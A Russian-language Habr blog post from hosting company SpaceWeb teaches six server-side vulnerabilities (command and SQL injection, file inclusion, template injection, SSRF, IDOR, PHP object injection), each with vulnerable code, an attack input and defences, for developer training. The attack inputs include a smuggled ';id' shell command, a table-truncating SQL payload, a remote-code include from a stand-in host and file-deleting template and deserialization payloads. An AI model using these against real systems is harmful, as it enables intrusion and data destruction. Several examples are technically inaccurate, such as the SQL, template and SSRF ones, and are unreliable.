Pull to refresh
50.01
SpaceWeb
Хостинг, серверы и веб-разработка

6 главных типов веб-уязвимостей, о которых должен знать каждый бэкендер

Reading time6 min
Views6.9K

Привет, Хабр! На связи Виталий Киреев, руководитель R&D SpaceWeb. В статье я расскажу про главные уязвимости Server Side, покажу примеры и объясню, как защищать данные. 

Принцип отбора бэкенд-уязвимостей

Тему с веб-уязвимостями мы решили раскрыть после нашей недавней статьи на Хабре. В ней мы рассказали о том, как ввели собственную методологию обучения веб-безопасности для новых сотрудников, но не останавливались детально на каждой веб-уязвимости. Но теперь настало время погрузиться глубже.

В стандарты веб-безопасности Server Side в SpaceWeb входит 6 типов уязвимостей. За основу мы взяли стандарты OWASP — международной некоммерческой организации, которая занимается вопросами обеспечения безопасности веб-приложений. Изучили весь список уязвимостей и отобрали только те, которые актуальны для нашего стека (PHP, Python, MySQL) и нашего проекта с учётом того, что он легаси и поддерживается уже больше 15 лет. Остановимся на них подробнее.

RCE (Remote Code Execution) — инъекция кода

Используя эту уязвимость, хакер сможет внедрить свой код на сервер и выполнять любые команды, как если бы он был легальным пользователем. 

Например, если в приложении можно выполнять команды через интерфейс пользователя, и эти команды передаются на сервер без должной проверки — хакер может использовать это для внедрения вредоносного кода. 

Чтобы воспользоваться уязвимостью, часто используют SQL-инъекции. А еще функцию exec, которая передает параметр, в котором можно сделать инъекцию shell-кода.

Пример 1:

Возьмем уязвимый скрипт. Ему передается домен, и он проверяет сервер, на котором расположен домен на доступность:

$domain = $_GET['domain'];                                                                                              
print(shell_exec("ping -c 1 $domain"));

Но если мы к домену через ";" добавим Linux команду, то shell_exec ее тоже выполнит. Пример:

# curl -s https://site.ru/script.php?domain=sweb.ru;id                                                      
PING sweb.ru(2a02:408:7722:41:77:222:41:15 (2a02:408:7722:41:77:222:41:15)) 56 data bytes                               
64 bytes from 2a02:408:7722:41:77:222:41:15 (2a02:408:7722:41:77:222:41:15): icmp_seq=1 ttl=60 time=1.31 ms                                                                                                                                     
--- sweb.ru ping statistics ---                                                                                         
1 packets transmitted, 1 received, 0% packet loss, time 0ms                                                             
rtt min/avg/max/mdev = 1.312/1.312/1.312/0.000 ms                                                                       
uid=0(root) gid=0(root) groups=0(root)

В этом случае у нас помимо пинга, выполнилась еще и команда id.

Пример 2:

Код в проекте:

$pdo->query(‘SELECT * FROM user WHERE name = ‘ . $_GET[‘name’])

Вызов скрипта:

script.php?name=aa+UNION+TRUNCATE+users --

Результат SQL-инъекции: будет удалена таблица users.

Как можно защититься:

  • Никогда не используем входящие данные для прямого конструирования запросов к другим сервисам, например MySQL.

  • Запрещаем использовать команды, работающие с shell: exec, system, shell_exec, passthru, pctrl_exec, eval.

LFI/RFI (Local/Remote File Inclusion) — подключение файлов

Local File Inclusion — с помощью этой уязвимости злоумышленник может изменить путь к файлам на сервере в URL-адресе и получить доступ к ним. Обычно эта проблема возникает из-за недостаточной фильтрации входящих данных.

Пример:

Код в проекте:

$file = $_GET['template'];
include($file);

Вызов скрипта:

/view.php?template=admin.php

Результат: можно будет подключить любой файл из проекта

Remote File Inclusion — тут хакер может внедрить внешний файл на сервер. Работает это так: отправляется запрос, включающий ссылку на внешний файл с вредоносным кодом, и код выполняется на сервере.

Пример:

Код в проекте:

$file = $_GET['template'];
include($file);

Вызов скрипта:

/view.php?template=http://some.site/remote_code.php

Важно отметить, что php на стороне злоумышленника не должен выполняться и не должен быть установлен, то есть код файла должен отдаваться в чистом виде.

Результат: можно будет подключить вредоносный код с другого сайта для выполнения на вашем.

Как можно защититься:

  • Не подключаем файлы по относительным путям. Для защиты фильтруем путь на наличие "/../" и "/./".

  • Запрещаем внешние allow_url_include в php.ini

  • В принципе проверяем, что подключаем на разрешенные значения. Как это сделать:

<?php
$file = $_GET['file'];
if(in_array($file,['file1', 'file2'])){
include(dirname(__FILE__).'/'.$file.'.php');
}

SSTI (Server-Side Template Injection) — инъекция в шаблоны

Шаблонизаторы на стороне backend очень функциональные — они могут выполнять действия и получать доступ к различным файлам. Так, хакер может внедрить код в поле ввода или в URL-адрес и заставить сервер выполнить его как часть шаблона.

Пример:

Код в проекте использует отображение поискового запроса в шаблоне (параметр query).

Вызов скрипта:

/search?query={{import os; os.system('rm some_file')}}

Результат: шаблонизатор выполнит переданный код, как команду и удалит some_file.

Как можно защититься:

  • Своевременно обновляем шаблонизаторы. Например, у Twig новые версии выходят несколько раз в год. Тут важно смотреть пометки от разработчиков, что версия может иметь замечания по безопасности.

  • Отправляем в шаблон только проверенные переменные. 

Пример проверенных переменных на Python:

import html
# строка sanitized_str будет содержать
# экранированные символы html
sanitized_str = html.escape(input_str)

SSRF (Server-Side Request Forgery) — подделка запросов

Через эту уязвимость хакеры могут с помощью снифферов и прокси вычислять, какой запрос выполняется, и подделывать данные в нем. Наиболее уязвимыми будут веб-приложения, которые взаимодействуют со сторонними сервисами или загружают данные по ссылкам. 

Пример:

Запрос к API:

{"action":"removeAccount","user":"aaaa"}

Изменяем запрос, чтобы удалить чужой аккаунт:

{"action":"removeAccount","user":"bbbb"}

Как можно защититься:

  • Никогда не доверяем данным, которые получили извне. Если есть возможность установить белый список адресов для обращения, делаем это. В случае, когда нет возможности ограничить адреса, исключаем обращение к внешним ресурсам. 

  • Обязательно фильтрацию данных. Если нужно, дополнительно проверяем или очищаем их.

IDOR (Insecure Direct Object References) — несанкционированный доступ

Уязвимость дает доступ к данным, которые в нормальной ситуации закрыты для пользователя. Обычно используют доступ к данным по определенному референсу. 

Например, у нас может быть ссылка на редактирование аккаунта пользователя. С помощью IDOR хакер сможет заменить эту ссылку на редактирование другого пользователя. При этом веб-приложение никак не уведомит нас о уязвимости, и обнаружить ее будет непросто.

Пример:

Просмотр своего заказа в интернет-магазине:

http://some.site/order?id=1111

Заменяем номер заказа и просматриваем чужой:

http://some.site/order?id=2222

Как можно защититься:

  • Проверяем и ограничиваем доступ к управлению объектами.

  • Проверяем все endpoint, заголовки и cookie — те параметры, которые можно подделать с отправляющей стороны.

PHP Object Injection — инъекция объекта

В PHP есть возможность сериализовать и рассериализовывать объекты — преобразовывать их в текстовый или иной вид, чтобы потом передавать объекты на сервер. Нюанс уязвимости в том, что иногда в этих объектах может содержаться деструктивный код. 

Например, у нас есть деструктивный класс, который что-то удаляет. В случае вызова скрипта, который принимается за сериализованные данные, мы сериализуем туда вместо валидных данных тот самый деструктивный класс, который будет выполнять код на стороне клиентского сервиса. Когда полученные данные рассериализуются, в моменте ничего страшного не произойдет. Но когда скрипт завершит работу, и все деструкторы выполнятся — вредоносное действие тоже завершится. 

Пример:

Так может готовиться вредоносный код:

class Example1
{
function __destruct()
{
$file = "/some/file";
@unlink($file);
}
}
$Example1 = new Example1();

Вызов уязвимого скрипта с передачей вредоносного кода:

file_get_contents('http://some.site/script.php?data=' + urlencode(serialize($Example1)));

Результат: в уязвимом скрипте выполнится рассериализация данных, а в завершении скрипта выполнится деструктор.

Как можно защититься:

  • Никогда не доверяйте данным, полученным извне.

  • Используйте JSON.

Памятка: как защищаться от уязвимостей Server Side

  • Не доверяем никаким входным данным (GET, POST, COOKIE).

  • Очищаем входные данные через с помощью экранирования или фильтрации.

  • Не создаем неопределенные объекты, которые зависят от внешних данных, без дополнительной проверки. Пример — доступ к файлам через параметры.

  • Не используем без жесткой необходимости функции, работающие с системной командной оболочкой. Если без этого не обойтись, используйте их только для доверенных внутренних сервисов.

  • Не выдаваем права на изменения файлов проекта пользователю, из-под которого этот проект работает. Выполняемые скрипты могут содержаться в области, доступной для веб-сервера, и если мы даем права на изменение проекта, это может стать потенциальной уязвимостью.

Как защитить пользовательские данные

Если говорить про бэкенд-часть, есть несколько важных принципов:

  • Не храним пароли и ключи в незашифрованном виде. 

  • При любых действиях с данным проверяем полномочия аккаунта, который пытается внести изменения. Например, один пользователь не должен иметь прав на редактирование профиля или заказов другого пользователя.

  • Проводим ежедневный бэкап.

Tags:
Hubs:
Total votes 18: ↑9 and ↓9+4
Comments14

Articles

Information

Website
sweb.ru
Registered
Founded
Employees
51–100 employees
Location
Россия